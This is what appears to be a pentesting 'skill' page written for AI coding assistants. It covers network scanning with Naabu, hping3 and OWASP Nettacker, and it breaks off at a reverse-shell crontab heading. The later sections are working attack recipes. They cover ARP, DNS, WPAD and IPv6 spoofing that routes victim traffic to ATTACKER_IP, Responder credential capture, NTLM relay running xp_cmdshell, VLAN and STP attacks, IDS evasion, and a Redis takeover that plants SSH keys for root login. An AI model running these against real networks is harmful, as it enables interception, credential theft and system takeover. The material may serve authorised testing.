메뉴
Network reconnaissance and port scanning using Naabu, hping3, and complementary tools
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Security audit for AI agent endpoints (Claude Desktop/Code, MCP servers, plugins, extensions)
Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation
PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection
PTES Phase 2 - Intelligence gathering for AWS security assessments
Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa
Pentest especializado para pfSense CE e Plus — cobre todas as superfícies de ataque a partir da rede externa e interna, mapeado ao PTES e ao código-fonte real do pfSense
| name | pentest-network-scanning |
| description | Network reconnaissance and port scanning using Naabu, hping3, and complementary tools |
| type | skill |
IMPORTANTE: Se durante o scan de rede você identificar um alvo pfSense, ATIVE A SKILL
pentest-pfsenseimediatamente.
# Web GUI detection
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"
# Nmap detection
nmap -sV -p 443 TARGET | grep -iE "nginx|pfsense"
# Shodan passive detection
shodan search "product:pfsense http.title:pfSense"
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para enumeração geral de rede
# Use pentest-pfsense para:
# - CVE verification específica
# - Command injection testing (interfaces_gif_edit.php, etc.)
# - Web GUI attack surface especializada
# - Post-exploitation em firewall
Realizar descoberta de hosts, enumeração de portas e mapeamento de superfície de ataque de rede usando Naabu como ferramenta primária, complementado por hping3 para técnicas de evasão.
Naabu é um port scanner escrito em Go que realiza varreduras SYN/CONNECT/UDP de forma rápida e confiável.
# Verificar instalação
naabu -version
# Health check
naabu -health-check
libpcap-dev instalado (apt install -y libpcap-dev)brew install libpcap# Single host (top 100 ports)
naabu -host example.com
# Single host com saída silenciosa
naabu -host example.com -silent
# Múltiplos hosts
naabu -host example.com,google.com,192.168.1.1
# Lista de hosts
naabu -l hosts.txt
# Portas específicas
naabu -host example.com -p 80,443,8080,8443
# Range de portas
naabu -host example.com -p 1-1000
# Todas as portas (1-65535)
naabu -host example.com -p -
# Top ports
naabu -host example.com -tp 1000
# Excluir portas
naabu -host example.com -p - -ep 22,23
# SYN scan (requer root) - mais rápido e stealth
naabu -host example.com -s SYN
# CONNECT scan (não requer root)
naabu -host example.com -s CONNECT
# UDP scan
naabu -host example.com -p u:53,u:161,u:123
# Payload customizado para UDP
naabu -host example.com -p u:53 -cp "DNS query"
# JSON output
naabu -host example.com -j -o output.json
# CSV output
naabu -host example.com -csv -o output.csv
# Texto simples
naabu -host example.com -o output.txt
# Pipe para outras ferramentas
naabu -host example.com -silent | httpx -silent
# Apenas host discovery (sem port scan)
naabu -host 192.168.1.0/24 -sn
# ARP ping (rede local)
naabu -host 192.168.1.0/24 -sn -arp
# ICMP echo request
naabu -host 192.168.1.0/24 -sn -pe
# TCP SYN ping (portas específicas)
naabu -host 192.168.1.0/24 -sn -ps 80,443
# TCP ACK ping
naabu -host 192.168.1.0/24 -sn -pa 443
# ICMP timestamp
naabu -host 192.168.1.0/24 -sn -pp
# IPv6 neighbor discovery
naabu -host 2001:db8::/32 -sn -nd
# Combinar múltiplas probes
naabu -host 192.168.1.0/24 -sn -arp -pe -ps 80,443
# Pular host discovery, scan direto
naabu -host example.com -Pn
# Ajustar rate (packets/segundo)
naabu -host example.com -rate 1000
# Threads internas
naabu -host example.com -c 25
# Timeout
naabu -host example.com -timeout 5000
# Retries
naabu -host example.com -retries 3
# Warm-up time entre fases
naabu -host example.com -warm-up-time 2
# Scan dual-stack (default)
naabu -host example.com
# Apenas IPv4
naabu -host example.com -iv 4
# Apenas IPv6
naabu -host example.com -iv 6
# Scan todos os IPs de um domínio
naabu -host example.com -sa
# Excluir IPs de CDN (scan apenas 80,443)
naabu -host example.com -ec
# Excluir CDN e mostrar qual CDN está usando
naabu -host example.com -ec -cdn
# Suportados: Cloudflare, Akamai, Incapsula, Sucuri
# Shodan InternetDB (sem enviar pacotes)
naabu -host example.com -passive
# Combinar passive + active
naabu -host example.com -passive -p 80,443
# Listar interfaces disponíveis
naabu -il
# Usar interface específica
naabu -host example.com -i eth0
# Source IP específico
naabu -host example.com -source-ip 192.168.1.100
# Source port específico
naabu -host example.com -source-port 54321
# SOCKS5 proxy
naabu -host example.com -proxy 127.0.0.1:9050
# Proxy com autenticação
naabu -host example.com -proxy 127.0.0.1:9050 -proxy-auth user:pass
# Custom resolvers
naabu -host example.com -r 8.8.8.8,1.1.1.1
# Usar sistema DNS como fallback
naabu -host example.com -sr
# Ordem de resolução (p=proxy, l=local, lp=local+proxy, pl=proxy+local)
naabu -host example.com -dns-order pl
# Executar nmap nos resultados
naabu -host example.com -nmap-cli 'nmap -sV -sC'
# Nmap output XML
naabu -host example.com -nmap-cli 'nmap -sV -oX nmap-output.xml'
# Service version detection
naabu -host example.com -nmap-cli 'nmap -sV -O'
# Script scanning
naabu -host example.com -nmap-cli 'nmap -sC --script vuln'
# Service discovery
naabu -host example.com -sD
# Service version
naabu -host example.com -sV
# Combinar ambos
naabu -host example.com -sD -sV
# Smart scan com modelo de correlação
naabu -host example.com -ss
# Ajustar threshold de confiança (0-100%)
naabu -host example.com -ss -pt 50
# Verificar portas encontradas com TCP verification
naabu -host example.com -verify
# Ping probes para verificação de host
naabu -host example.com -ping
# Stream mode (sem resume, sem nmap, sem retries)
naabu -l targets.txt -stream -silent
# Stream com rate limiting
naabu -l targets.txt -stream -rate 500
# Port scan → Web server detection
naabu -host example.com -silent | httpx -silent
# Com output JSON
naabu -host example.com -j | httpx -json
# Filtrar por porta específica
naabu -host example.com -p 80,443,8080 -silent | httpx -title -tech-detect
# Port scan → Vulnerability scan
naabu -host example.com -silent | httpx -silent | nuclei -silent
# Scan específico para portas descobertas
naabu -host example.com -p 80,443 -j | jq -r '.ip' | nuclei -hosts -
# Subdomain enumeration → Port scan
subfinder -d example.com -silent | naabu -silent
# Com output formatado
subfinder -d example.com -silent | naabu -p 80,443 -silent | httpx -silent
# Masscan para speed → Naabu para verification
masscan -p80,443 192.168.0.0/16 --rate 10000 -oL masscan.txt
cat masscan.txt | awk '{print $4}' | naabu -verify -silent
| Característica | Naabu | hping3 |
|---|---|---|
| Velocidade | Ultra-rápido (Go, multi-threaded) | Rápido (single-threaded) |
| SYN Scan | ✅ Nativo | ✅ Manual |
| CONNECT Scan | ✅ Nativo | ❌ Não suporta |
| UDP Scan | ✅ Nativo com payload | ✅ Manual |
| Host Discovery | ✅ Múltiplas probes | ✅ ICMP/TCP manual |
| Output Formats | JSON, CSV, TXT | Texto apenas |
| Nmap Integration | ✅ Nativa | ❌ Manual |
| Evasion | Básica | ✅ Avançada (fragmentação, spoofing) |
| IDS Evasion | Limitada | ✅ XMAS, NULL, fragmentação |
| Use Case | Enumeração em massa | Evasão, firewall testing |
Usar Naabu quando:
Usar hping3 quando:
FINDING: NETWORK-RECONNAISSANCE-NAABU
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting
TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
no alvo, expondo os seguintes serviços: [serviços]
EVIDENCE:
naabu -host [target] -p [ports] -silent
[Output do scan]
SERVICES DISCOVERED:
- Port 22: SSH
- Port 80: HTTP (nginx)
- Port 443: HTTPS (nginx)
- Port 3306: MySQL (interno exposto!)
RECOMMENDATIONS:
- Fechar portas não necessárias
- Implementar firewall rules
- Usar VPN para serviços internos
- Habilitar rate limiting
PTES REFERENCE: Section 2.5.4 (Active Footprinting)
FINDING: EXPOSED-SERVICE-[PORT]
CATEGORY: NETWORK_EXPOSURE
SEVERITY: [MEDIUM/HIGH/CRITICAL]
AFFECTED RESOURCE:
- IP/Hostname: [target]
- Port: [port]
- Service: [service name/version]
DESCRIPTION:
Serviço [service] exposto na porta [port] sem
restrições de acesso adequadas.
EVIDENCE:
naabu -host [target] -p [port] -silent
nmap -sV -p [port] [target]
IMPACT:
- [Descrever impacto potencial]
REMEDIATION:
1. Restringir acesso via security groups/firewall
2. Implementar autenticação
3. Mover para rede privada/VPN
4. Habilitar logging e monitoramento
PTES REFERENCE: Section 2.5.4, 3.1
# Configuração padrão para todos os scans
rate: 1000
timeout: 1000
retries: 3
scan-type: SYN
ip-version:
- "4"
- "6"
exclude-cdn: true
output-cdn: true
json: true
# Verificar se naabu está configurado corretamente
naabu -health-check
# Debug output
naabu -host example.com -debug
# Verbose output
naabu -host example.com -v
# "permission denied" → Usar CONNECT scan ou root
naabu -host example.com -s CONNECT
# "no valid ipv4/ipv6 targets" → Verificar DNS
naabu -host example.com -sr
# Rate limit issues → Reduzir rate
naabu -host example.com -rate 100
PTES 2.5 - External Footprinting:
1. subfinder -d target.com | naabu -silent
2. naabu -host target.com -p - -ec
3. naabu results | httpx | nuclei
PTES 3.1 - Vulnerability Testing:
1. naabu -host target.com -ss (smart scan)
2. naabu -host target.com -nmap-cli 'nmap -sV --script vuln'
PTES 4.1 - Precision Strike:
1. naabu identifica portas abertas
2. hping3 testa firewall rules
3. headi testa HTTP header injection
4. Exploração baseada nos resultados
OWASP Nettacker é um framework Python-based de penetration testing automatizado que complementa Naabu e hping3 com:
| Característica | Nettacker | Naabu |
|---|---|---|
| Velocidade | Moderado (Python) | Ultra-rápido (Go) |
| Port Scanning | ✅ 1000 top ports | ✅ 1000 top ports |
| CVE Detection | ✅ 50+ módulos | ❌ Requer nuclei |
| Brute-Force | ✅ 8 módulos | ❌ Não suporta |
| Subdomain Scan | ✅ Nativo | ❌ Requer subfinder |
| Web Tech Detection | ✅ Nativo | ❌ Requer httpx |
| API/Web UI | ✅ REST API + Web UI | ❌ CLI apenas |
| Report Formats | HTML, JSON, CSV, SARIF | JSON, CSV, TXT |
| Service Discovery | ✅ Signature-based | ✅ Básico |
Use Nettacker quando:
Use Naabu quando:
# Iniciar API + Web UI (já configurado neste projeto)
cd /opt/Tools/Nettacker
docker compose up -d
# Acessar Web UI
# https://localhost:5000
# API Key: mostrar em docker logs nettacker
# Health check
curl -k https://localhost:5000
# Port scanning básico (1000 top ports)
docker run --rm owasp/nettacker -i target.com -m port_scan
# Todas as portas
docker run --rm owasp/nettacker -i target.com -m port_scan -g 1-65535
# Port scan + service detection
docker run --rm owasp/nettacker -i target.com -m port_scan --graph d3_tree_v2_graph -o report.html
# Subdomain enumeration + port scan
docker run --rm owasp/nettacker -i target.com -d -m port_scan
# Vulnerability scanning (50+ CVE checks)
docker run --rm owasp/nettacker -i target.com -m *_vuln
# Scan específico para CVEs críticas
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln,citrix_cve_2019_19781_vuln,log4j_cve_2021_44228_vuln
# Brute-force em serviços
docker run --rm owasp/nettacker -i target.com -m ftp_brute,ssh_brute,http_basic_auth_brute -u admin,root -p password,123456
# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan
# Directory brute-force
docker run --rm owasp/nettacker -i target.com -m dir_scan
# WAF detection
docker run --rm owasp/nettacker -i target.com -m waf_scan
# WordPress scanning
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln
# Joomla scanning
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan
# Drupal scanning
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan
# SSL/TLS vulnerability scanning
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln,ssl_version_vuln,heartbleed_vuln,ssl_expired_certificate_vuln
# HTTP security headers check
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln,content_security_policy_vuln,content_type_options_vuln,xss_protection_vuln
# GraphQL endpoint detection
docker run --rm owasp/nettacker -i target.com -m graphql_vuln
# Combinar múltiplos módulos
docker run --rm owasp/nettacker -i target.com -m port_scan,admin_scan,dir_scan,waf_scan,ssl_*_vuln -o report.html --graph d3_tree_v2_graph
# Scan em lista de targets
docker run --rm -v $(pwd)/targets.txt:/targets.txt owasp/nettacker -l /targets.txt -m port_scan
# Output em diferentes formatos
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.html
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.json
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.csv
docker run --rm -v $(pwd)/output:/output owasp/nettacker -i target.com -m port_scan -o /output/report.sarif
# Obter API key dos logs
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')
# Submeter novo scan via API
curl -k -X POST "https://localhost:5000/new/scan" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${API_KEY}&targets=target.com&selected_modules=port_scan,admin_scan,vuln&report_path_filename=/tmp/report.html"
# Listar resultados
curl -k "https://localhost:5000/results/get_list?page=1" \
-H "Cookie: key=${API_KEY}"
# Obter resultado específico
curl -k "https://localhost:5000/results/get?id=1" \
-H "Cookie: key=${API_KEY}"
# Search hosts
curl -k "https://localhost:5000/logs/search?q=port_scan&page=1" \
-H "Cookie: key=${API_KEY}"
# Obter resultado em JSON
curl -k "https://localhost:5000/logs/get_json?target=target.com&key=${API_KEY}"
# Obter resultado em HTML
curl -k "https://localhost:5000/logs/get_html?target=target.com&key=${API_KEY}" -o report.html
- port_scan: Open ports + service detection (1000 top ports)
- admin_scan: Admin panels (/admin, /wp-admin, /phpmyadmin)
- dir_scan: Directory brute-forcing
- subdomain_scan: Subdomain enumeration
- waf_scan: Web Application Firewall detection
- http_status_scan: HTTP status codes
- http_redirect_scan: HTTP redirects
- http_html_title_scan: HTML title extraction
- iceroute_version_scan: IceWarp version detection
- cups_version_scan: CUPS version on port 631
- web_technologies_scan: Tech stack detection (Wappalyzer)
- ssl_expiring_certificate_scan: SSL expiry check
- joomla_template_scan, joomla_user_enum_scan, joomla_version_scan
- wordpress_version_scan, wp_plugin_scan, wp_theme_scan, wp_timethumbs_scan
- drupal_version_scan, drupal_modules_scan, drupal_theme_scan
- viewdns_reverse_iplookup_scan: Reverse IP lookup
Critical CVEs:
- f5_cve_2020_5902_vuln: F5 BIG-IP RCE (CVSS 9.8)
- citrix_cve_2019_19781_vuln: Citrix ADC RCE (CVSS 9.8)
- vbulletin_cve_2019_16759_vuln: vBulletin RCE (CVSS 9.8)
- msexchange_cve_2021_26855: ProxyLogon SSRF (CVSS 9.8)
- log4j_cve_2021_44228_vuln: Log4Shell RCE (CVSS 10.0)
- apache_struts_vuln: Struts RCE CVE-2017-5638 (CVSS 10.0)
- xdebug_rce_vuln: XDebug RCE (CVSS 10.0)
High Severity:
- citrix_cve_2023_24488_vuln: Citrix XSS
- sonicwall_sslvpn_cve_2024_53704_vuln: SonicWall SSLVPN
- ivanti_epmm_cve_2023_35082_vuln: Ivanti EPMM
- confluence_cve_2023_22515_vuln, confluence_cve_2023_22527_vuln
- grafana_cve_2021_43798_vuln
- joomla_cve_2023_23752_vuln
SSL/TLS:
- heartbleed_vuln: CVE-2014-0160
- ssl_weak_cipher_vuln: Weak cipher suites
- ssl_version_vuln: SSLv2/SSLv3 support
- ssl_expired_certificate_vuln: Expired certs
- ssl_signed_certificate_vuln: Self-signed certs
HTTP Security Headers:
- clickjacking_vuln: Missing X-Frame-Options
- content_security_policy_vuln: Missing CSP
- content_type_options_vuln: Missing X-Content-Type-Options
- xss_protection_vuln: Missing X-XSS-Protection
- server_version_vuln: Server banner leak
- x_powered_by_vuln: X-Powered-By leak
- http_cors_vuln: Overly permissive CORS
- http_cookie_vuln: Insecure cookie attributes
- strict_transport_security_vuln: Missing HSTS
- ftp_brute: FTP authentication
- ssh_brute: SSH authentication
- smtp_brute: SMTP authentication
- telnet_brute: Telnet authentication
- http_basic_auth_brute: HTTP Basic Auth
- http_form_brute: HTTP form login
- http_ntlm_brute: HTTP NTLM auth
- wp_xmlrpc_brute: WordPress XMLRPC
# Detect pfSense via SSL certificate
docker run --rm owasp/nettacker -i pfsense-target.com -m ssl_expiring_certificate_scan,ssl_signed_certificate_vuln
# Web GUI detection
docker run --rm owasp/nettacker -i pfsense-target.com -m http_html_title_scan,web_technologies_scan
# Vulnerability scanning específico
docker run --rm owasp/nettacker -i pfsense-target.com -m clickjacking_vuln,content_security_policy_vuln,ssl_weak_cipher_vuln
# Combinar com nmap para version detection
docker run --rm owasp/nettacker -i pfsense-target.com -m port_scan,ssl_*_vuln,http_*_scan -o pfsense_report.html
FINDING: NETWORK-RECONNAISSANCE-NETTACKER
CATEGORY: RECONNAISSANCE
SEVERITY: INFO
PTES: 2.5.4 - Active Footprinting
TARGET:
- Host/Range: [target]
- Portas descobertas: [lista]
- Serviços identificados: [lista]
- Vulnerabilidades detectadas: [lista]
DESCRIPTION:
OWASP Nettacker identificou [X] portas abertas, [Y] serviços,
e [Z] vulnerabilidades potenciais no alvo.
MODULES USED:
- port_scan: Network port enumeration
- admin_scan: Admin panel discovery
- *_vuln: CVE vulnerability checks
- waf_scan: WAF detection
EVIDENCE:
docker run --rm owasp/nettacker -i [target] -m [modules] -o report.json
OUTPUT FILES:
- report.html: Interactive HTML report with graphs
- report.json: Structured JSON data
- report.csv: Spreadsheet format
- report.sarif: SARIF format for SIEM integration
REMEDIATION:
[Based on specific findings from Nettacker modules]
PTES REFERENCE: Section 2.5.4 (Active Footprinting)
# HTML Report (with interactive graph)
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,vuln \
-o /output/report.html --graph d3_tree_v2_graph
# JSON (structured data)
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan \
-o /output/report.json
# CSV (spreadsheet)
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan \
-o /output/report.csv
# SARIF (SIEM/defect dojo)
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,vuln \
-o /output/report.sarif
# DefectDojo compatible
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,vuln \
-o /output/report.dd.json
# Information gathering profile
docker run --rm owasp/nettacker -i target.com --profile information_gathering
# Vulnerability assessment profile
docker run --rm owasp/nettacker -i target.com --profile vulnerabilities
# High severity only
docker run --rm owasp/nettacker -i target.com --profile high_severity
# Backup services detection
docker run --rm owasp/nettacker -i target.com --profile backup
# Brute-force profile
docker run --rm owasp/nettacker -i target.com --profile brute
# Thread control
docker run --rm owasp/nettacker -i target.com -m port_scan -t 100 -M 20
# -t: threads per host
# -M: parallel module scan
# Timeout and retries
docker run --rm owasp/nettacker -i target.com -m port_scan -T 5 --retries 3
# Time sleep between requests (stealth)
docker run --rm owasp/nettacker -i target.com -m port_scan -w 1
# SOCKS proxy
docker run --rm owasp/nettacker -i target.com -m port_scan -R socks5://127.0.0.1:9050
# Custom user agent
docker run --rm owasp/nettacker -i target.com -m http_*_scan --user-agent "Mozilla/5.0"
# Custom HTTP headers
docker run --rm owasp/nettacker -i target.com -m http_*_scan -H "Authorization: Bearer token" -H "X-Custom: value"
# Verbose output
docker run --rm owasp/nettacker -i target.com -m port_scan -v 3
# Ping before scan
docker run --rm owasp/nettacker -i target.com -m port_scan --ping-before-scan
# Hardware usage control
docker run --rm owasp/nettacker -i target.com -m port_scan --set-hardware-usage low
# Phase 1: Naabu for fast port discovery
naabu -host target.com -p - -silent -o naabu_ports.txt
# Phase 2: Nettacker for vulnerability scanning on discovered ports
ports=$(cat naabu_ports.txt | grep -oE '[0-9]+' | tr '\n' ',' | sed 's/,$//')
docker run --rm -v $(pwd):/data owasp/nettacker \
-i target.com -m *_vuln,admin_scan,waf_scan \
-g "$ports" \
-o /data/vuln_report.html
# Phase 3: Consolidate results
cat naabu_ports.txt
cat vuln_report.json | jq '.vulnerabilities'
# Fonte primária: crt.sh (Certificate Transparency)
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Fallback chain se crt.sh falhar:
# 1. certspotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]'
# 2. DNSx com múltiplos resolvers
echo "target.com" | dnsx -silent -resp-only
# 3. Subfinder (passive sources)
subfinder -d target.com -silent
# 4. Amass (active + passive)
amass enum -passive -d target.com
TIPOS DE ASSET:
1. DOMAIN_REGISTRAR
2. DOMAIN
3. SUBDOMAIN
4. ORIGIN_SERVER
5. CDN_ENDPOINT
6. WAF
7. LOAD_BALANCER
8. REVERSE_PROXY
9. WEB_SERVER
10. API_GATEWAY
11. AUTH_SERVER
12. IDP (Identity Provider)
13. MAIL_SERVER
14. MX_RECORD
15. DNS_SERVER
16. CLOUD_BUCKET (S3, GCS, Azure)
17. CLOUD_FUNCTION
18. CONTAINER_REGISTRY
19. CI_CD_PIPELINE
20. GIT_REPOSITORY
21. DOCUMENTATION_SITE
22. ADMIN_PANEL
23. MONITORING_ENDPOINT
24. BACKUP_SERVER
25. DATABASE_SERVER
26. MESSAGE_QUEUE
27. CACHE_SERVER
28. FILE_STORAGE
29. THIRD_PARTY_INTEGRATION
EDGE TYPES:
- RESOLVES_TO: subdomain → IP
- HOSTS: IP → domain
- SERVES: server → content
- PROTECTS: WAF → origin
- CACHES: CDN → origin
- FORWARDS_TO: proxy → backend
- AUTHENTICATES: IdP → application
- STORES: bucket → data
- DEPLOYS: CI/CD → infrastructure
- MONITORS: monitoring → target
- BACKS_UP: backup → primary
# 1. DNS history (SecurityTrails, DNSHistory)
curl -s "https://api.securitytrails.com/v1/domain/target.com/history" \
-H "APIKEY: $SECURITYTRAILS_KEY" | jq '.records[] | select(.type=="A")'
# 2. SSL certificate history (crt.sh)
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[] | "\(.before_value)|\(.issuer_name)"' | sort -u
# 3. Shodan search (sem enviar pacotes)
shodan search "ssl.cert.subject.cn:*.target.com" --fields ip_str,port,hostnames
# 4. Fullstack/developer endpoints (vazam origem)
curl -s "https://target.com/.git/config"
curl -s "https://target.com/.env"
curl -s "https://target.com/server-status" # Apache mod_status
# 5. DNS enumeration com tentativas de bypass
for sub in www mail ftp api dev staging prod; do
dig +short $sub.target.com @8.8.8.8
dig +short $sub.target.com @1.1.1.1
done
# SPF Record
dig +short target.com TXT | grep -i "v=spf1"
# Analisar: ~all (softfail), -all (hardfail), ?all (neutral)
# Risco: include: terceiros não verificados
# DMARC Record
dig +short _dmarc.target.com TXT | grep -i "v=DMARC1"
# Analisar: p=none (monitor), p=quarantine, p=reject
# Risco: pct < 100 (política parcial)
# DKIM Selector Discovery
for selector in default google mailo selector1 _domainkey; do
dig +short $selector._domainkey.target.com TXT
done
# BIMI Record (Brand Indicators)
dig +short default._bimi.target.com TXT
# MTA-STS
curl -s "https://mta-sts.target.com/.well-known/mta-sts.txt"
# DNSSEC
dig +dnssec target.com | grep -E "flags:|ad"
FINDING: SUBDOMAIN-TAKEOVER-RISK
CATEGORY: RECONNAISSANCE
SEVERITY: HIGH (se CNAME para serviço inexistente)
PTES: 2.5.4 - Active Footprinting
AFFECTED RESOURCE:
- Subdomain: [subdomain.target.com]
- CNAME: [apaga-servico.github.io / herokuapp.com / etc.]
DESCRIPTION:
O subdomain aponta para um serviço de terceiros que não
está mais provisionado, permitindo subdomain takeover.
EVIDENCE:
dig +short subdomain.target.com
# Retorna: CNAME para serviço inexistente
curl -s https://subdomain.target.com
# Retorna: 404 do serviço (GitHub Pages, Heroku, etc.)
REMEDIATION:
1. Remover DNS record ou
2. Provisionar o serviço no terceiro ou
3. Apontar para página de erro controlada
PTES REFERENCE: Section 2.5.4 (Active Footprinting)
# arpspoof (dsniff suite) — Gratuitous ARP
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
# ettercap — ARP poisoning with sniffing
ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# bettercap — modern framework
bettercap -iface eth0
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on
# bettercap — target specific hosts, avoid detection
> set arp.spoof.targets 10.0.0.50,10.0.0.51
> set arp.spoof.fullduplex true
> set arp.spoof.internal true
> arp.spoof on
# Responder — Credential Capture
responder -I eth0 -dwPv
# Key flags:
# -d Enable answers for DHCP broadcast requests (fingerprinting)
# -w Start WPAD rogue proxy
# -P Force NTLM auth for WPAD
# -v Verbose
# Analyze mode only (passive, no poisoning)
responder -I eth0 -A
| Protocol | Hash Type | Hashcat Mode | Crackability |
|---|---|---|---|
| NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable |
| NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules |
| NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 |
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
# Relay instead of crack
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://DC01 --delegate-access # RBCD attack
ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
# Responder with WPAD proxy
responder -I eth0 -wPv
# WPAD flow:
# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
# 2. Responder answers with rogue wpad.dat
# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture
# Manual WPAD PAC File
cat > wpad.dat << 'EOF'
function FindProxyForURL(url, host) {
return "PROXY ATTACKER_IP:3128; DIRECT";
}
EOF
Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.
# mitm6 → DNS takeover → NTLM relay
mitm6 -d domain.com
# In parallel: relay captured NTLM to LDAP(S) for delegation
ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access
# Attack chain:
# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
# 2. Victim DNS queries go to attacker → WPAD redirect
# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD
Key Conditions:
# Switch Spoofing (DTP)
yersinia dtp -attack 1 -interface eth0
# frogger.sh — automated VLAN hopping via DTP
./frogger.sh
# Sends DTP frames → switch enables trunking → access all VLANs
# After trunk established:
modprobe 8021q
vconfig add eth0 TARGET_VLAN
ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
# Double Tagging (802.1Q)
# scapy:
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
sendp(pkt, iface="eth0")
# yersinia — claim root bridge with lowest priority
yersinia stp -attack 4 -interface eth0
# Send BPDUs with priority 0 → become root bridge
# All traffic flows through attacker → MitM
# Topology Change Attack
yersinia stp -attack 1 -interface eth0
# Send TC (Topology Change) BPDUs → force MAC table flush → sniff traffic
# bettercap DNS spoofing
bettercap -iface eth0
> set dns.spoof.domains target.com, *.target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on
# ettercap DNS spoofing (via etter.dns config)
echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
# Router Advertisement Spoofing
atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64
# THC-IPv6 suite for comprehensive IPv6 attacks
atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
atk6-redir6 eth0 ... # Traffic redirection via ICMPv6 redirect
# SLAAC Abuse
# Advertise rogue prefix → victim auto-configures IPv6 address
# Combined with rogue DNS (RA option) → full MitM over IPv6
# Windows prioritizes IPv6 over IPv4 by default
| Technique | Method | Tool/Flag |
|---|---|---|
| IP Fragmentation | Split payload across fragments | nmap -f, fragroute |
| TTL Manipulation | Set TTL to expire at IDS but reach target | fragroute |
| Encoding Evasion | URL/Unicode/hex encoding | Manual, custom scripts |
| Session Splicing | Split TCP payload across segments | fragroute, nmap --data-length |
| Timing-Based | Slow scan to avoid rate-based detection | nmap -T0, nmap -T1 |
| Decoy Scanning | Mix real scan with decoy source IPs | nmap -D RND:10 |
| Idle/Zombie Scan | Use idle host as scan proxy | nmap -sI ZOMBIE_IP |
# fragroute — fragment and reorder packets
echo "ip_frag 8" > /tmp/frag.conf
echo "order random" >> /tmp/frag.conf
fragroute -f /tmp/frag.conf TARGET_IP
# nmap evasion combinations
nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET
# Key ports:
# 6379 — Redis
# 873 — Rsync
# 9000 — PHP-FPM (FastCGI)
# 8009 — AJP (Tomcat Ghostcat)
# 8088 — Hadoop YARN ResourceManager
# 8082 — H2 Console (or embedded in Spring Boot)
# 1099 — Java RMI Registry
# 9200 — Elasticsearch
# 5984 — CouchDB
# 2375 — Docker API
# 27017 — MongoDB
# 11211 — Memcached
# Detection
redis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed
redis-cli -h TARGET INFO server
# Returns Redis version, OS, config
# Write SSH Authorized Keys
ssh-keygen -t rsa -f redis_rsa
redis-cli -h TARGET flushall
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
ssh -i redis_rsa root@TARGET
# Write Crontab (Reverse Shell)
